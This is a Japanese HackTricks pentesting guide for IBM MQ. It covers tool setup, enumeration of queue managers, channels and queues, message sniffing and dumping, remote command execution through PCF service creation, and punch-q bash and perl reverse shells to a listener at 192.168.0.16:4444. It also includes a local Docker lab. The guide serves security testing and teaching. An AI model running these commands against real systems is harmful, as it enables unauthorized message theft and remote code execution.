hacktricks/src/network-services-pentesting/1414-pentesting-ibmmq.md

332 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Pentesting IBM MQ
{{#include ../banners/hacktricks-training.md}}
## 基本情報
IBM MQは、メッセージキューを管理するためのIBMの技術です。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間で情報を受信、保存、処理、分類することに特化しています。
デフォルトでは、**IBM MQ TCPポート1414を公開しています**。時には、HTTP REST APIがポート**9443**で公開されることがあります。メトリクスPrometheusはTCPポート**9157**からもアクセス可能です。
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、**インスタンスを制御するためにも使用できます**。
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術文書を提供しています。
## ツール
簡単なエクスプロイトのために推奨されるツールは、Dockerを使用した**[punch-q](https://github.com/sensepost/punch-q)**です。このツールは、Pythonライブラリ`pymqi`を積極的に使用しています。
より手動のアプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用してください。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)が必要です。
### pymqiのインストール
**IBM MQの依存関係**をインストールして読み込む必要があります:
1. [https://login.ibm.com/](https://login.ibm.com/)でアカウントIBMidを作成します。
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)からIBM MQライブラリをダウンロードします。Linux x86_64の場合は、**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**です。
3. 解凍します(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
4. `sudo ./mqlicense.sh`を実行してライセンス条項に同意します。
> Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を修正します次の行を削除またはコメントアウトします105-110行の間
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> fi
> ```
5. これらのパッケージをインストールします:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. その後、一時的に`.so`ファイルをLDに追加します: `export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールをこれらの依存関係を使用して実行する前に**。
その後、プロジェクト[**pymqi**](https://github.com/dsuch/pymqi)をクローンできます: 興味深いコードスニペット、定数などが含まれています... または、ライブラリを直接インストールすることもできます: `pip install pymqi`
### punch-qの使用
#### Dockerを使用して
単に次のように使用します: `sudo docker run --rm -ti leonjza/punch-q`
#### Dockerを使用しない場合
プロジェクト[**punch-q**](https://github.com/sensepost/punch-q)をクローンし、インストールのためにreadmeに従ってください`pip install -r requirements.txt && python3 setup.py install`)。
その後、`punch-q`コマンドで使用できます。
## 列挙
**punch-q**または**pymqi**を使用して、**キュー・マネージャー名、ユーザー、チャネル、およびキュー**を列挙しようとすることができます。
### キュー・マネージャー
時々、キュー・マネージャー名を取得するための保護がありません:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### チャンネル
**punch-q** は、既存のチャンネルを見つけるために内部の(変更可能な)単語リストを使用しています。使用例:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
一部のIBM MQインスタンスは**認証されていない**MQリクエストを受け入れるため、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
チャンネル名(ここでは`DEV.ADMIN.SVRCONN`)がわかれば、他のすべてのチャンネルを列挙できます。
列挙は基本的に**pymqi**のこのコードスニペット`code/examples/dis_channels.py`を使用して行うことができます:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... しかし、**punch-q** もその部分を埋め込んでいます(さらに詳しい情報があります!)。
起動するには:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### キュー
**pymqi** (`dis_queues.py`) のコードスニペットがありますが、**punch-q** はキューに関するより多くの情報を取得することを許可します:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## エクスプロイト
### メッセージのダンプ
キューやチャネルをターゲットにして、そこからメッセージをスニッフィングまたはダンプすることができます非破壊的操作。_例:_
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**すべての特定されたキューを反復することをためらわないでください。**
### コード実行
> 続行する前にいくつかの詳細: IBM MQは、MQSC、PCF、Control Commandなど複数の方法で制御できます。一般的なリストは[IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)で見つけることができます。
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_プログラム可能コマンド形式_**)は、インスタンスとリモートで対話するために私たちが注目しているものです。**punch-q**およびさらに**pymqi**はPCFインタラクションに基づいています。
>
> PCFコマンドのリストを見つけることができます:
>
> - [PCF documentationから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および
> - [constantsから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
>
> 興味深いコマンドは`MQCMD_CREATE_SERVICE`で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で入手できます。引数として、インスタンス上のローカルプログラムを指す`StartCommand`を取ります(例: `/bin/sh`)。
>
> ドキュメントにはコマンドの警告もあります: _"注意: このコマンドはユーザーにmqm権限で任意のコマンドを実行させることを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーが、重要なファイルを削除するなど、システムやデータに損害を与えるサービスを定義する可能性があります。"_
>
> _注: IBM MQ documentation (Administration Reference)によると、サービス作成のためのMQSCコマンドを実行するためのHTTPエンドポイントが`/admin/action/qmgr/{qmgrName}/mqsc`にもあります(`DEFINE SERVICE`。この側面はまだここではカバーされていません。_
リモートプログラム実行のためのPCFによるサービスの作成/削除は**punch-q**によって行うことができます:
**例 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> IBM MQのログでは、コマンドが正常に実行されたことを確認できます
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
マシン上の既存のプログラムを列挙することもできます(ここでは`/bin/doesnotexist` ... 存在しません):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**プログラムの起動は非同期であることに注意してください。したがって、エクスプロイトを活用するために2つ目のアイテムが必要です** **_(リバースシェルのリスナー、異なるサービスでのファイル作成、ネットワークを通じたデータの抽出...)_**
**例2**
簡単なリバースシェルのために、**punch-q**は2つのリバースシェルペイロードも提案しています
- 一つはbash
- 一つはperl
_もちろん、`execute`コマンドを使用してカスタムのものを作成することもできます。_
bashの場合
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Perlの場合:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### カスタムPCF
IBM MQのドキュメントを調べて、**pymqi** Pythonライブラリを直接使用して、**punch-q**に実装されていない特定のPCFコマンドをテストできます。
**例:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
定数名が見つからない場合は、[IBM MQ ドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)を参照できます。
> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)の例 (10進数 = 73)。`MQCA_CLUSTER_NAME` (10進数 = 2029) パラメータが必要で、これは`_` (Doc: ):\*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## テスト環境
IBM MQ の動作とエクスプロイトをテストしたい場合は、Docker に基づいたローカル環境を設定できます。
1. ibm.com および cloud.ibm.com にアカウントを持っていること。
2. コンテナ化された IBM MQ を作成します:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
デフォルトでは、認証が有効になっており、ユーザー名は `admin`、パスワードは `passw0rd`(環境変数 `MQ_ADMIN_PASSWORD`)です。ここで、キュー マネージャー名は `MYQUEUEMGR`(変数 `MQ_QMGR_NAME`)に設定されています。
IBM MQが起動しており、そのポートが公開されている必要があります
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> 古いバージョンのIBM MQ Dockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.
## 参考文献
- [mgeeky's gist - "実践的なIBM MQペネトレーションテストート"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQジャンピング - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq)